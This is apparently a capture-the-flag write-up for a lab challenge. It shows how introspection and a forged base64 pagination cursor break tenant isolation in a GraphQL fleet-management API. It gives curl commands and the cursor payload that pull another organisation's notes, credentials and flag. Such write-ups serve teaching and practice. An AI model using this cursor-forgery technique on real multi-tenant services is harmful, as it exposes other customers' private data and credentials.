> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/webverse-pro/2026/cursed.md).

# Cursed

Mystery Challenge (Medium) - by Leighlin Gunner Ramsay

{% embed url="<https://dashboard.webverselabs-pro.com/events/cursed>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## **Scenario**

FleetLine sells itself on hard tenant isolation: your org sees your org, and nobody else's. Westline believes it, Ranjay believes it, the sales deck swears by it. But isolation is only ever as strong as the weakest place it is actually enforced, and FleetLine is a bigger application than the tidy dashboard lets on.

## Summary

<details>

<summary>Summary</summary>

The target is FleetLine, a fleet-management platform that promises hard tenant isolation between organizations. Recon through Burp reveals the site runs on Apollo Server with GraphQL, where introspection is enabled. The dashboard loads work orders via cursor-based pagination, and a `Load more` button passes an `after` cursor that decodes to `{"id":815,"org":"westline"}`.

The core technique is cursor forgery for cross-tenant access. Introspection reveals hidden `internalNotes` and `attachment` fields on `WorkOrder` that the frontend does not request. Querying our own orders uncovers a reference to another org: `apex-haul`. Direct ID lookup via `workOrder(id)` is properly scoped and returns `null` for other orgs' records, but the `workOrders` pagination endpoint blindly trusts the `org` field in the cursor without validating it against the authenticated user. Forging a cursor with `{"id":0,"org":"apex-haul"}` and passing it as a GraphQL variable pivots into apex-haul's work orders, exposing decommissioned admin credentials in `internalNotes` and the final flag in `attachment`.

</details>

<details>

<summary>Attack Path</summary>

Visit site → intercept GraphQL requests in Burp\
↓\
`Load more` sends pagination cursor → decode: {"id":815,"org":"westline"}\
↓\
Introspection → discover hidden fields: internalNotes, attachment\
↓\
Own work orders leak another org name: "apex-haul"\
↓\
Forge cursor: {"id":0,"org":"apex-haul"} → base64\
↓\
Server trusts cursor org → returns cross-tenant work orders\
↓\
internalNotes + attachment → leaked credentials + flag

</details>

## Recon

We start by visiting the site and intercepting requests in Burp Suite. The application makes GraphQL requests to a single endpoint.

It looks like we only have one main site available listing work orders. But we are able to load more.

{% code overflow="wrap" %}

```
https://9d6dda55-3968-cursed-d11c8.events.webverselabs-pro.com/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRF90sheuCSlhq34rFzFz%2Fgrafik.png?alt=media&amp;token=707bdea9-a1b6-4c12-9b06-3218063658fb" alt=""><figcaption></figcaption></figure>

When we visit the respective pages, we see that a GraphQL request is made and that we receive the result back as JSON.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FG6eeM1Wnhd8GK9ywcj3x%2Fgrafik.png?alt=media&amp;token=e3afe50b-651d-424e-9287-bd01133ebb18" alt=""><figcaption></figcaption></figure>

The query is a paginated GraphQL query that requests 3 work orders at a time, returning each order's id, title, vehicle, and status along with a cursor (`endCursor`) and a flag (`hasNextPage`) to fetch the next page.

{% code overflow="wrap" %}

```
{"query":"query($after:String){ workOrders(first:3, after:$after){ edges{ id title vehicle status } endCursor hasNextPage } }","variables":{}}
```

{% endcode %}

Clicking `Load more` sends a second request with a pagination cursor:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbCCRAQKmmmb03DT6XGoG%2Fgrafik.png?alt=media&amp;token=d9022c79-0942-4dec-854c-f439187bf125" alt=""><figcaption></figcaption></figure>

The `Load more` query is almost the same query but now passing the previous page's cursor in the `after` variable to fetch the next batch of work orders starting after ID `815`.

{% code overflow="wrap" %}

```
{"query":"query($after:String){ workOrders(first:3, after:$after){ edges{ id title vehicle status } endCursor hasNextPage } }","variables":{"after":"eyJpZCI6ODE1LCJvcmciOiJ3ZXN0bGluZSJ9"}}
```

{% endcode %}

That cursor is base64. We decode it to understand the structure:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fq7Ms8UuxMiWpb25viqZA%2Fgrafik.png?alt=media&amp;token=565b142b-0a94-4590-9140-b30d31358af3" alt=""><figcaption></figcaption></figure>

We continue by enumerating the GraphQL schema. We try introspection and see it is enabled by dumping the full schema. The interesting types are `Query` with root fields: `me`, `workOrder`, `workOrders`, `User` (username, name, org, role), and `WorkOrder,` which has `internalNotes` and `attachment` fields that the frontend did not request.

{% code overflow="wrap" %}

```
TARGET=https://9d6dda55-3968-cursed-d11c8.events.webverselabs-pro.com/graphql
```

{% endcode %}

{% code overflow="wrap" %}

```
curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}' | jq
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBl8N1jHx2MegjKjA49KE%2Fgrafik.png?alt=media&amp;token=7565026e-ff6e-416c-844c-92d19b4adb1c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fcty1w4CNuNcE7NaP7kSq%2Fgrafik.png?alt=media&amp;token=4a3b4c9c-1292-44c3-9405-83ffdca29348" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FD3mfnVwKTPtDYkOym8O7%2Fgrafik.png?alt=media&amp;token=4f9b3fe0-b1ab-4da1-887d-9bbcf0120b24" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
Query:     me, workOrder(id: ID!), workOrders(first: Int, after: String)
User:      username, name, org, role
WorkOrder: id, org, title, vehicle, status, internalNotes, attachment
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```json
{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "User",
          "fields": [
            {
              "name": "username"
            },
            {
              "name": "name"
            },
            {
              "name": "org"
            },
            {
              "name": "role"
            }
          ]
        },
        {
          "name": "String",
          "fields": null
        },
        {
          "name": "WorkOrder",
          "fields": [
            {
              "name": "id"
            },
            {
              "name": "org"
            },
            {
              "name": "title"
            },
            {
              "name": "vehicle"
            },
            {
              "name": "status"
            },
            {
              "name": "internalNotes"
            },
            {
              "name": "attachment"
            }
          ]
        },
        {
          "name": "ID",
          "fields": null
        },
        {
          "name": "WorkOrderPage",
          "fields": [
            {
              "name": "edges"
            },
            {
              "name": "endCursor"
            },
            {
              "name": "hasNextPage"
            }
          ]
        },
        {
          "name": "Boolean",
          "fields": null
        },
        {
          "name": "Query",
          "fields": [
            {
              "name": "me"
            },
            {
              "name": "workOrder"
            },
            {
              "name": "workOrders"
            }
          ]
        },
        {
          "name": "Int",
          "fields": null
        },
        {
          "name": "__Schema",
          "fields": [
            {
              "name": "description"
            },
            {
              "name": "types"
            },
            {
              "name": "queryType"
            },
            {
              "name": "mutationType"
            },
            {
              "name": "subscriptionType"
            },
            {
              "name": "directives"
            }
          ]
        },
        {
          "name": "__Type",
          "fields": [
            {
              "name": "kind"
            },
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "specifiedByURL"
            },
            {
              "name": "fields"
            },
            {
              "name": "interfaces"
            },
            {
              "name": "possibleTypes"
            },
            {
              "name": "enumValues"
            },
            {
              "name": "inputFields"
            },
            {
              "name": "ofType"
            },
            {
              "name": "isOneOf"
            }
          ]
        },
        {
          "name": "__TypeKind",
          "fields": null
        },
        {
          "name": "__Field",
          "fields": [
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "args"
            },
            {
              "name": "type"
            },
            {
              "name": "isDeprecated"
            },
            {
              "name": "deprecationReason"
            }
          ]
        },
        {
          "name": "__InputValue",
          "fields": [
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "type"
            },
            {
              "name": "defaultValue"
            },
            {
              "name": "isDeprecated"
            },
            {
              "name": "deprecationReason"
            }
          ]
        },
        {
          "name": "__EnumValue",
          "fields": [
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "isDeprecated"
            },
            {
              "name": "deprecationReason"
            }
          ]
        },
        {
          "name": "__Directive",
          "fields": [
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "isRepeatable"
            },
            {
              "name": "locations"
            },
            {
              "name": "args"
            },
            {
              "name": "isDeprecated"
            },
            {
              "name": "deprecationReason"
            }
          ]
        },
        {
          "name": "__DirectiveLocation",
          "fields": null
        }
      ]
    }
  }
}
```

{% endcode %}

The `internalNotes` and `attachment` fields are not requested by the frontend, so those might be the hidden sensitive data. We check who we are and see we are `ranjay` in org `westline` with the role `technician`.

{% code overflow="wrap" expandable="true" %}

```
curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ me { username name org role } }"}' | jq
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqehA9xuA6rSBnJt0JYTg%2Fgrafik.png?alt=media&amp;token=122583a6-8f7b-4c14-b5e8-6fedf7a53234" alt=""><figcaption></figcaption></figure>

## Exploit

We request all fields on our own work orders, including the hidden `internalNotes` and `attachment`.

We get 4 work orders: `810`, `812`, `815`, `818`. All belonging to `westline`. One leaks another org name in its notes:

> *"Truck 14 transferred in from the **apex-haul** fleet last quarter"*

{% code overflow="wrap" expandable="true" %}

```
curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ workOrders(first:50) { edges { id org title vehicle status internalNotes attachment } endCursor hasNextPage } }"}' | jq
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUVPf7E3Vp0zzK4cTOxZp%2Fgrafik.png?alt=media&amp;token=8927507f-ef5a-4990-93ac-f5b4c016415e" alt=""><figcaption></figcaption></figure>

We try direct access to other orgs work orders via `workOrder(id)`, but the resolver seems to enforce some sort of scoping and returns `null`.

{% code overflow="wrap" expandable="true" %}

```
curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ workOrder(id: \"811\") { id org title vehicle status internalNotes attachment } }"}' | jq
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F73eHCxGC8TNcBJZ61FT0%2Fgrafik.png?alt=media&amp;token=80ff5674-83d7-46df-9114-4c4a913db984" alt=""><figcaption></figcaption></figure>

However, during testing we discover that the `workOrders` pagination endpoint trusts the cursors `org` field without validating it against the authenticated user. We forge a cursor for `apex-haul`.

{% code overflow="wrap" expandable="true" %}

```
echo -n '{"id":0,"org":"apex-haul"}' | base64
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOkhWSrWH92JrAefWAPKb%2Fgrafik.png?alt=media&amp;token=5c2311da-698e-4829-bd82-39538738df80" alt=""><figcaption></figcaption></figure>

We pass the forged cursor using GraphQL variables to avoid base64 escaping issues. The server returns apex-haul work orders, including credentials in an internal note and the flag:

{% code overflow="wrap" expandable="true" %}

```
curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"query($a:String){workOrders(first:50,after:$a){edges{id org title vehicle status internalNotes attachment}endCursor hasNextPage}}","variables":{"a":"eyJpZCI6MCwib3JnIjoiYXBleC1oYXVsIn0="}}' | jq
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2tHTPavBsTnuiaOHBDlV%2Fgrafik.png?alt=media&amp;token=3d972f9e-d8ab-4844-a733-7074049ea72a" alt=""><figcaption></figcaption></figure>
